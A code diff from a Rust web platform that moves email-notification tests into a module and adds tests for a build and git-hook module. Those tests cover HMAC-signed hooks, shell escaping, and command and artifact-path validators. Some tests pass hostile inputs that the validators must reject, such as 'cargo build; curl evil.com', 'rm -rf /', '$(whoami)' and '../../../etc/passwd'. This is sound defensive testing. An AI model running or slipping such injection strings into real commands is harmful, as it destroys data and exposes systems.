| 1201 | - | assert!(body.contains("Beat Pack 1")); | |
| 1202 | - | assert!(body.contains("Reason: Copyright claim")); | |
| 1203 | - | assert!(body.contains("appeal")); | |
| 1204 | - | } | |
| 1205 | - | ||
| 1206 | - | #[tokio::test] | |
| 1207 | - | async fn content_restored_subjects_with_title() { | |
| 1208 | - | let (client, captured) = client_with_capture(); | |
| 1209 | - | client | |
| 1210 | - | .send_content_restored("c@x", None, "Beat Pack 1") | |
| 1211 | - | .await | |
| 1212 | - | .unwrap(); | |
| 1213 | - | let (_, subject, body, _) = captured.last(); | |
| 1214 | - | assert_eq!(subject, "Content restored: Beat Pack 1"); | |
| 1215 | - | assert!(body.contains("Beat Pack 1")); | |
| 1216 | - | assert!(body.contains("restored")); | |
| 1217 | - | } | |
| 1218 | - | ||
| 1219 | - | #[tokio::test] | |
| 1220 | - | async fn account_termination_has_30_day_window_message() { | |
| 1221 | - | let (client, captured) = client_with_capture(); | |
| 1222 | - | client | |
| 1223 | - | .send_account_termination("u@x", Some("Pat")) | |
| 1224 | - | .await | |
| 1225 | - | .unwrap(); | |
| 1226 | - | let (_, subject, body, _) = captured.last(); | |
| 1227 | - | assert!(subject.contains("terminated")); | |
| 1228 | - | assert!(body.contains("Hi Pat")); | |
| 1229 | - | assert!(body.contains("30 days")); | |
| 1230 | - | assert!(body.contains("export your data")); | |
| 1231 | - | } | |
| 1232 | - | ||
| 1233 | - | #[tokio::test] | |
| 1234 | - | async fn shutdown_notice_includes_date() { | |
| 1235 | - | let (client, captured) = client_with_capture(); | |
| 1236 | - | client | |
| 1237 | - | .send_shutdown_notice("u@x", None, "2027-06-15") | |
| 1238 | - | .await | |
| 1239 | - | .unwrap(); | |
| 1240 | - | let (_, subject, body, _) = captured.last(); | |
| 1241 | - | assert!(subject.contains("shutting down")); | |
| 1242 | - | assert!(body.contains("2027-06-15")); | |
| 1243 | - | assert!(body.contains("90 days")); | |
| 1244 | - | assert!(body.contains("no lock-in")); | |
| 1245 | - | } | |
| 1246 | - | ||
| 1247 | - | #[tokio::test] | |
| 1248 | - | async fn creator_departure_mentions_creator_and_90_days() { | |
| 1249 | - | let (client, captured) = client_with_capture(); | |
| 1250 | - | client | |
| 1251 | - | .send_creator_departure_notification("buyer@x", None, "Alex") | |
| 1252 | - | .await | |
| 1253 | - | .unwrap(); | |
| 1254 | - | let (_, subject, body, _) = captured.last(); | |
| 1255 | - | assert!(subject.contains("Alex")); | |
| 1256 | - | assert!(subject.contains("leaving")); | |
| 1257 | - | assert!(body.contains("Alex")); | |
| 1258 | - | assert!(body.contains("90 days")); | |
| 1259 | - | assert!(body.contains("library")); | |
| 1260 | - | } | |
| 1261 | - | ||
| 1262 | - | // ── Issue tracking ── | |
| 1263 | - | ||
| 1264 | - | #[tokio::test] | |
| 1265 | - | async fn new_issue_notification_includes_repo_path_and_url() { | |
| 1266 | - | let (client, captured) = client_with_capture(); | |
| 1267 | - | client | |
| 1268 | - | .send_new_issue_notification( | |
| 1269 | - | recipient_id(), | |
| 1270 | - | "owner@x", | |
| 1271 | - | Some("Jordan"), | |
| 1272 | - | "alex", | |
| 1273 | - | "audio-tools", | |
| 1274 | - | 42, | |
| 1275 | - | "Crash on startup", | |
| 1276 | - | "bob", | |
| 1277 | - | "https://makenot.work/p/alex/audio-tools/issues/42", | |
| 1278 | - | Some("https://unsub"), | |
| 1279 | - | Some("reply@x"), | |
| 1280 | - | Some("<msgid@x>"), | |
| 1281 | - | ) | |
| 1282 | - | .await | |
| 1283 | - | .unwrap(); | |
| 1284 | - | let (_, subject, body, unsub) = captured.last(); | |
| 1285 | - | assert_eq!(subject, "New issue on alex/audio-tools: Crash on startup"); | |
| 1286 | - | assert!(body.contains("Hi Jordan")); | |
| 1287 | - | assert!(body.contains("bob opened issue #42")); | |
| 1288 | - | assert!(body.contains("alex/audio-tools")); | |
| 1289 | - | assert!(body.contains("Crash on startup")); | |
| 1290 | - | assert!(body.contains("https://makenot.work/p/alex/audio-tools/issues/42")); | |
| 1291 | - | assert_eq!(unsub.as_deref(), Some("https://unsub")); | |
| 1292 | - | } | |
| 1293 | - | ||
| 1294 | - | #[tokio::test] | |
| 1295 | - | async fn issue_comment_subject_uses_re_prefix() { | |
| 1296 | - | // Pins the "Re: " prefix that threads the email reply. | |
| 1297 | - | let (client, captured) = client_with_capture(); | |
| 1298 | - | client | |
| 1299 | - | .send_issue_comment_notification( | |
| 1300 | - | recipient_id(), | |
| 1301 | - | "owner@x", | |
| 1302 | - | None, | |
| 1303 | - | "alex", | |
| 1304 | - | "audio-tools", | |
| 1305 | - | 42, | |
| 1306 | - | "Crash on startup", | |
| 1307 | - | "carol", | |
| 1308 | - | "Looked into this, see PR #5", | |
| 1309 | - | "https://makenot.work/p/alex/audio-tools/issues/42", | |
| 1310 | - | None, | |
| 1311 | - | None, | |
| 1312 | - | None, | |
| 1313 | - | None, | |
| 1314 | - | ) | |
| 1315 | - | .await | |
| 1316 | - | .unwrap(); | |
| 1317 | - | let (_, subject, body, _) = captured.last(); | |
| 1318 | - | assert!( | |
| 1319 | - | subject.starts_with("Re: "), | |
| 1320 | - | "comment must be Re:-prefixed: {subject}" | |
| 1321 | - | ); | |
| 1322 | - | assert!(body.contains("carol commented on issue #42")); | |
| 1323 | - | assert!(body.contains("Looked into this")); | |
| 1324 | - | } | |
| 1325 | - | ||
| 1326 | - | // ── Status notifications: per-status subject mapping ── | |
| 1327 | - | ||
| 1328 | - | #[tokio::test] | |
| 1329 | - | async fn status_notification_operational_subject() { | |
| 1330 | - | let (client, captured) = client_with_capture(); | |
| 1331 | - | client | |
| 1332 | - | .send_status_notification( | |
| 1333 | - | recipient_id(), | |
| 1334 | - | "u@x", | |
| 1335 | - | None, | |
| 1336 | - | "operational", | |
| 1337 | - | "degraded", | |
| 1338 | - | "https://unsub", | |
| 1339 | - | ) | |
| 1340 | - | .await | |
| 1341 | - | .unwrap(); | |
| 1342 | - | let (_, subject, _, _) = captured.last(); | |
| 1343 | - | assert!(subject.contains("recovered")); | |
| 1344 | - | assert!(subject.contains("all services operational")); | |
| 1345 | - | } | |
| 1346 | - | ||
| 1347 | - | #[tokio::test] | |
| 1348 | - | async fn status_notification_degraded_subject() { | |
| 1349 | - | let (client, captured) = client_with_capture(); | |
| 1350 | - | client | |
| 1351 | - | .send_status_notification( | |
| 1352 | - | recipient_id(), | |
| 1353 | - | "u@x", | |
| 1354 | - | None, | |
| 1355 | - | "degraded", | |
| 1356 | - | "operational", | |
| 1357 | - | "https://unsub", | |
| 1358 | - | ) | |
| 1359 | - | .await | |
| 1360 | - | .unwrap(); | |
| 1361 | - | let (_, subject, _, _) = captured.last(); | |
| 1362 | - | assert!(subject.contains("partial service degradation")); | |
| 1363 | - | } | |
| 1364 | - | ||
| 1365 | - | #[tokio::test] | |
| 1366 | - | async fn status_notification_unknown_falls_back_to_disruption() { | |
| 1367 | - | // Pins the `_ => "...service disruption"` arm. | |
| 1368 | - | let (client, captured) = client_with_capture(); | |
| 1369 | - | client | |
| 1370 | - | .send_status_notification( | |
| 1371 | - | recipient_id(), | |
| 1372 | - | "u@x", | |
| 1373 | - | None, | |
| 1374 | - | "outage", | |
| 1375 | - | "operational", | |
| 1376 | - | "https://unsub", | |
| 1377 | - | ) | |
| 1378 | - | .await | |
| 1379 | - | .unwrap(); | |
| 1380 | - | let (_, subject, body, _) = captured.last(); | |
| 1381 | - | assert!(subject.contains("service disruption")); | |
| 1382 | - | // Body interpolates the actual status string regardless. | |
| 1383 | - | assert!(body.contains("outage")); | |
| 1384 | - | } | |
| 1385 | - | } | |
| 958 | + | mod tests; |
| @@ -1,0 +1,226 @@ | |||
| 1 | + | //! Tests for [`super`]. | |
| 2 | + | ||
| 3 | + | use super::*; | |
| 4 | + | ||
| 5 | + | #[test] | |
| 6 | + | fn the_update_hook_guards_the_namespace_validation_reserves() { | |
| 7 | + | // Bash cannot read a Rust constant, so the literal in the hook is a | |
| 8 | + | // copy. Renaming the reserved prefix without editing the hook would | |
| 9 | + | // leave the new one pushable and the old one locked, which is the | |
| 10 | + | // failure this pins: two doors, one policy. | |
| 11 | + | let reserved = crate::validation::RESERVED_NOTE_NAMESPACE; | |
| 12 | + | assert!( | |
| 13 | + | UPDATE_HOOK.contains(&format!("refs/notes/{reserved}|refs/notes/{reserved}/*")), | |
| 14 | + | "the update hook does not guard refs/notes/{reserved}/*:\n{UPDATE_HOOK}" | |
| 15 | + | ); | |
| 16 | + | // The bare prefix and the subtree are separate patterns in a glob, and | |
| 17 | + | // matching only the subtree would leave `refs/notes/mnw` itself open. | |
| 18 | + | assert!(UPDATE_HOOK.contains("exit 1"), "{UPDATE_HOOK}"); | |
| 19 | + | } | |
| 20 | + | ||
| 21 | + | #[tokio::test] | |
| 22 | + | async fn read_capped_truncates_to_cap() { | |
| 23 | + | // 10k bytes through a 4k cap retains exactly 4k (the rest is drained and | |
| 24 | + | // discarded so the child never blocks on a full pipe). | |
| 25 | + | let data = vec![b'x'; 10_000]; | |
| 26 | + | let out = read_capped(&data[..], 4096).await; | |
| 27 | + | assert_eq!(out.len(), 4096); | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | #[tokio::test] | |
| 31 | + | async fn read_capped_returns_all_when_under_cap() { | |
| 32 | + | let out = read_capped(&b"hello world"[..], 4096).await; | |
| 33 | + | assert_eq!(out, "hello world"); | |
| 34 | + | } | |
| 35 | + | ||
| 36 | + | #[test] | |
| 37 | + | fn build_failure_message_partial() { | |
| 38 | + | assert_eq!( | |
| 39 | + | build_failure_message(1, 2, Some("boom")), | |
| 40 | + | "partial build failure (1/3 targets succeeded)" | |
| 41 | + | ); | |
| 42 | + | assert_eq!( | |
| 43 | + | build_failure_message(2, 1, Some("boom")), | |
| 44 | + | "partial build failure (2/3 targets succeeded)" | |
| 45 | + | ); | |
| 46 | + | } | |
| 47 | + | ||
| 48 | + | #[test] | |
| 49 | + | fn build_failure_message_total_failure_uses_first_error() { | |
| 50 | + | assert_eq!(build_failure_message(0, 3, Some("ssh down")), "ssh down"); | |
| 51 | + | assert_eq!( | |
| 52 | + | build_failure_message(0, 0, None), | |
| 53 | + | "no targets produced artifacts" | |
| 54 | + | ); | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | #[test] | |
| 58 | + | fn rust_target_mapping() { | |
| 59 | + | assert_eq!( | |
| 60 | + | rust_target("linux", "x86_64"), | |
| 61 | + | Some("x86_64-unknown-linux-gnu") | |
| 62 | + | ); | |
| 63 | + | assert_eq!( | |
| 64 | + | rust_target("linux", "aarch64"), | |
| 65 | + | Some("aarch64-unknown-linux-gnu") | |
| 66 | + | ); | |
| 67 | + | assert_eq!(rust_target("darwin", "x86_64"), Some("x86_64-apple-darwin")); | |
| 68 | + | assert_eq!( | |
| 69 | + | rust_target("darwin", "aarch64"), | |
| 70 | + | Some("aarch64-apple-darwin") | |
| 71 | + | ); | |
| 72 | + | assert_eq!(rust_target("windows", "x86_64"), None); | |
| 73 | + | } | |
| 74 | + | ||
| 75 | + | #[test] | |
| 76 | + | fn hook_template_contains_hmac_not_raw_token() { | |
| 77 | + | let hook = post_receive_hook("secret-token-123", "alice", "myrepo"); | |
| 78 | + | let expected_hmac = repo_hmac("secret-token-123", "alice", "myrepo"); | |
| 79 | + | assert!( | |
| 80 | + | hook.contains(&expected_hmac), | |
| 81 | + | "hook should contain per-repo HMAC" | |
| 82 | + | ); | |
| 83 | + | assert!( | |
| 84 | + | !hook.contains("secret-token-123"), | |
| 85 | + | "hook must not contain raw token" | |
| 86 | + | ); | |
| 87 | + | assert!(!hook.contains("__HMAC__"), "placeholder should be replaced"); | |
| 88 | + | assert!(hook.contains("/api/internal/builds/trigger")); | |
| 89 | + | } | |
| 90 | + | ||
| 91 | + | /// The two notes arms answer different refs and must not be confused for | |
| 92 | + | /// each other: an inbox push is merged and answered synchronously, a notes | |
| 93 | + | /// push is only indexed. A `case` pattern that caught both would either | |
| 94 | + | /// merge a ref that is already the namespace or leave a push unindexed. | |
| 95 | + | #[test] | |
| 96 | + | fn the_hook_indexes_a_notes_push_and_merges_an_inbox_push() { | |
| 97 | + | let hook = post_receive_hook("secret-token-123", "alice", "myrepo"); | |
| 98 | + | assert!(hook.contains("/api/internal/notes/reindex")); | |
| 99 | + | assert!(hook.contains("/api/internal/notes/merge-inbox")); | |
| 100 | + | assert!(hook.contains("refs/notes/*)")); | |
| 101 | + | assert!(hook.contains("refs/mnw/notes-inbox/*)")); | |
| 102 | + | // The inbox lives under refs/mnw/, so nothing an inbox push does can | |
| 103 | + | // fall into the indexing arm. `notes_inbox` pins that prefix itself. | |
| 104 | + | assert!(!"refs/mnw/notes-inbox/commits".starts_with("refs/notes/")); | |
| 105 | + | } | |
| 106 | + | ||
| 107 | + | /// Fixed vector, duplicated in mnw-cli's `repo_hmac` test. mnw-cli installs | |
| 108 | + | /// hooks for repos it auto-creates over SSH, and this endpoint verifies | |
| 109 | + | /// them; if either side's derivation moves, both tests have to move | |
| 110 | + | /// together or those pushes stop triggering builds. | |
| 111 | + | #[test] | |
| 112 | + | fn repo_hmac_matches_mnw_cli_vector() { | |
| 113 | + | assert_eq!( | |
| 114 | + | repo_hmac("test-token", "max", "repo"), | |
| 115 | + | "198b4a4f542c0c27c4ca333030dfe09fe670aa44bae34d7a586481bb13fd9eb0" | |
| 116 | + | ); | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | #[test] | |
| 120 | + | fn repo_hmac_differs_per_repo() { | |
| 121 | + | let h1 = repo_hmac("token", "alice", "repo-a"); | |
| 122 | + | let h2 = repo_hmac("token", "alice", "repo-b"); | |
| 123 | + | assert_ne!(h1, h2, "different repos should produce different HMACs"); | |
| 124 | + | } | |
| 125 | + | ||
| 126 | + | #[test] | |
| 127 | + | fn shell_escape_basic() { | |
| 128 | + | assert_eq!(shell_escape("hello"), "'hello'"); | |
| 129 | + | assert_eq!(shell_escape("it's"), "'it'\\''s'"); | |
| 130 | + | } | |
| 131 | + | ||
| 132 | + | #[test] | |
| 133 | + | fn validate_build_command_accepts_safe_commands() { | |
| 134 | + | assert!( | |
| 135 | + | validate_build_command("cargo build --release --target x86_64-unknown-linux-gnu").is_ok() | |
| 136 | + | ); | |
| 137 | + | assert!(validate_build_command("make -j4").is_ok()); | |
| 138 | + | assert!(validate_build_command("RUSTFLAGS=--cfg tokio_unstable cargo build").is_ok()); | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | #[test] | |
| 142 | + | fn validate_build_command_rejects_injection() { | |
| 143 | + | assert!(validate_build_command("cargo build; curl evil.com").is_err()); | |
| 144 | + | assert!(validate_build_command("cargo build && rm -rf /").is_err()); | |
| 145 | + | assert!(validate_build_command("cargo build | tee log").is_err()); | |
| 146 | + | assert!(validate_build_command("$(whoami)").is_err()); | |
| 147 | + | assert!(validate_build_command("`whoami`").is_err()); | |
| 148 | + | assert!(validate_build_command("cargo build > /dev/null").is_err()); | |
| 149 | + | assert!(validate_build_command("").is_err()); | |
| 150 | + | assert!( | |
| 151 | + | validate_build_command(" ").is_err(), | |
| 152 | + | "whitespace-only has no program" | |
| 153 | + | ); | |
| 154 | + | assert!( | |
| 155 | + | validate_build_command("FOO=bar").is_err(), | |
| 156 | + | "assignment with no program" | |
| 157 | + | ); | |
| 158 | + | } | |
| 159 | + | ||
| 160 | + | #[test] | |
| 161 | + | fn remote_command_parse_separates_env_program_args() { | |
| 162 | + | let c = RemoteCommand::parse("cargo build --release").unwrap(); | |
| 163 | + | assert!(c.assignments.is_empty()); | |
| 164 | + | assert_eq!(c.program, "cargo"); | |
| 165 | + | assert_eq!(c.args, vec!["build", "--release"]); | |
| 166 | + | ||
| 167 | + | let c = RemoteCommand::parse("RUSTFLAGS=--cfg CARGO_INCREMENTAL=0 cargo build").unwrap(); | |
| 168 | + | assert_eq!( | |
| 169 | + | c.assignments, | |
| 170 | + | vec!["RUSTFLAGS=--cfg", "CARGO_INCREMENTAL=0"] | |
| 171 | + | ); | |
| 172 | + | assert_eq!(c.program, "cargo"); | |
| 173 | + | assert_eq!(c.args, vec!["build"]); | |
| 174 | + | } | |
| 175 | + | ||
| 176 | + | #[test] | |
| 177 | + | fn remote_command_render_escapes_every_token() { | |
| 178 | + | // Plain command: each token individually single-quoted. | |
| 179 | + | let c = RemoteCommand::parse("cargo build --release").unwrap(); | |
| 180 | + | assert_eq!(c.render(), "'cargo' 'build' '--release'"); | |
| 181 | + | ||
| 182 | + | // Env prefix: applied via `env`, each element escaped. | |
| 183 | + | let c = RemoteCommand::parse("RUSTFLAGS=--cfg cargo build").unwrap(); | |
| 184 | + | assert_eq!(c.render(), "env 'RUSTFLAGS=--cfg' 'cargo' 'build'"); | |
| 185 | + | } | |
| 186 | + | ||
| 187 | + | #[test] | |
| 188 | + | fn is_env_assignment_recognizes_valid_identifiers_only() { | |
| 189 | + | assert!(is_env_assignment("FOO=bar")); | |
| 190 | + | assert!(is_env_assignment("_X1=y")); | |
| 191 | + | assert!(is_env_assignment("A=")); // empty value is a valid assignment | |
| 192 | + | assert!( | |
| 193 | + | !is_env_assignment("1FOO=bar"), | |
| 194 | + | "identifier can't start with a digit" | |
| 195 | + | ); | |
| 196 | + | assert!(!is_env_assignment("cargo"), "no '='"); | |
| 197 | + | assert!(!is_env_assignment("--target=x"), "not a shell identifier"); | |
| 198 | + | } | |
| 199 | + | ||
| 200 | + | #[test] | |
| 201 | + | fn render_defuses_would_be_injection_even_if_charset_bypassed() { | |
| 202 | + | // Construct a RemoteCommand directly with a hostile arg (bypassing the | |
| 203 | + | // token charset check) to prove render() is the real guard: the shell | |
| 204 | + | // sees a single quoted word, not a command separator. | |
| 205 | + | let c = RemoteCommand { | |
| 206 | + | assignments: vec![], | |
| 207 | + | program: "cargo".to_string(), | |
| 208 | + | args: vec!["build; rm -rf /".to_string()], | |
| 209 | + | }; | |
| 210 | + | assert_eq!(c.render(), "'cargo' 'build; rm -rf /'"); | |
| 211 | + | } | |
| 212 | + | ||
| 213 | + | #[test] | |
| 214 | + | fn validate_artifact_path_accepts_safe_paths() { | |
| 215 | + | assert!(validate_artifact_path("target/x86_64-unknown-linux-gnu/release/myapp").is_ok()); | |
| 216 | + | assert!(validate_artifact_path("dist/app-v0.1.0.tar.gz").is_ok()); | |
| 217 | + | } | |
| 218 | + | ||
| 219 | + | #[test] | |
| 220 | + | fn validate_artifact_path_rejects_unsafe() { | |
| 221 | + | assert!(validate_artifact_path("/etc/passwd").is_err()); | |
| 222 | + | assert!(validate_artifact_path("../../../etc/passwd").is_err()); | |
| 223 | + | assert!(validate_artifact_path("path with spaces").is_err()); | |
| 224 | + | assert!(validate_artifact_path("$(whoami)").is_err()); | |
| 225 | + | assert!(validate_artifact_path("").is_err()); | |
| 226 | + | } |